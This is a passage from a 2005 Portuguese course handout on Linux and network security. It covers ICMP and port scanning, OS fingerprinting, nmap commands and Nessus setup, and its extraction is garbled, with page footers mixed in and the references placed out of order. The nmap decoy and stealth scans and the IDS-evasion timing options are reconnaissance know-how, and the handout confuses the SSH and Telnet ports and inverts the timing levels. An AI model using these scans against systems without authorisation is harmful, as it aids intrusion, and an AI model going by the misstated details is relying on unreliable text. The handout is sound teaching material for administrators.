Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 35: Curso de segurança em linux e redes em geral

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

